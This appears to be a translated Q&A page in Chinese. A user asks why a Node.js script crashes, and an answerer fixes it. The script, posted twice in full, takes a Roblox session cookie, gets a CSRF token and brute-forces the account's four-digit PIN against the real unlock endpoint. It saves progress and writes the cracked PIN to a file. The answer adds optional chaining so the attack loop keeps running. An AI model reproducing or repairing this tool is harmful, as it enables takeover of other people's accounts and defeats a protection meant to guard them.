簡體   English   中英

Node.js 出現錯誤無法讀取未定義的屬性“數據”

[英]Node.js Got error cannot read property 'data' of undefined

問題是當我運行我的 Node.js 5-10 分鍾時,循環停止並且我的程序自動關閉我嘗試使用nodemon來獲取錯誤,我得到了這個錯誤這是我的錯誤圖片

我是 node.js 的新手,我收到此錯誤Cannot read property 'data' of undefined我嘗試自己修復它,但如果你們能給我看一個完整的代碼,我無法修復它,因為我沒有不知道很多 node.js

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

發生這種情況是因為您正在讀取未定義內容的屬性。 在您的情況下,它是錯誤的data屬性(主要在 catch 塊中)。您可以使用optional chaining operator來避免它。 我已經更新了代碼。

async function login(){
    var loginurl = 'https://auth.roblox.com/v1/login'
    var cookie = '.ROBLOSECURITY=' + readcookie();
    await axios({
        'method': 'post',
        'url': loginurl,
        'headers':{
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
        } 
      }).then(response => {
        console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
        return
      }).catch(error => {
        var token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m"+"\x1b[35m"+'FoundToken:'+ "\x1b[32m",token+"\x1b[0m");
        getpin(token,cookie);
      });
}

async function getpin(token,cookie){
    var pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    var i = readsave();
    while(i<9999){
        //console.log(pin(i,4));
        var payload = {'pin': pin(i,4)}
        console.log("\x1b[1m"+"\x1b[34m"+'CheckingPIN: ' + "\x1b[32m" + payload.pin.toString()+"\x1b[0m")
        await axios({
            'method': 'post',
            'url': pinurl,
            'data': payload,
            'headers':{
                'X-CSRF-TOKEN': token,
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            } 
          }).then(response => {
            console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","FOUND PIN: ",payload.pin,"\x1b[0m");
            autosave(payload);
            save(payload);
          }).catch(async error => {
            if (error.response?.data.errors[0].code === 3){
                console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
                return;
            }else if (error.response?.data.errors[0].code === 0){
              console.log("\x1b[1m"+ "\x1b[31m",error.response?.data.errors[0].message,"\x1b[0m");
              var loginurl = 'https://auth.roblox.com/v1/login'
              var cookie = '.ROBLOSECURITY=' + readcookie();
              await axios({
                  'method': 'post',
                  'url': loginurl,
                  'headers':{
                      'Cookie': cookie,
                      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                  } 
                }).then(response => {
                  console.log("\x1b[4m"+"\x1b[1m"+ "\x1b[32m","INFO: "+"This Account Don't have a PIN or Cookie Expired","\x1b[0m");
                  return
                }).catch(error => {
                  token = error.response.headers['x-csrf-token'];
                  console.log("\x1b[1m"+"\x1b[35m"+'NewToken:'+ "\x1b[32m",token+"\x1b[0m");
                  return
                });

            }else if (error.response?.data.errors[0].code === 4){
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              autosave(payload);
              i++;
            }else {
              console.log(error.response?.data.errors[0].code);
              console.log("\x1b[1m"+ "\x1b[33m",error.response?.data.errors[0].message,"\x1b[0m");
              return
            }
          });      
    }
}

function save(pin){
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin );
    console.log("\x1b[47m"+"\x1b[1m"+"\x1b[34m" + "\x1b[32m" + 'PIN SAVE AT found.txt'+"\x1b[0m")
    exit();
}
function autosave(pin){
    fs.writeFileSync('autosave.txt', pin.pin); 
}

login();

有關更多詳細信息,您可以在此處查看

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM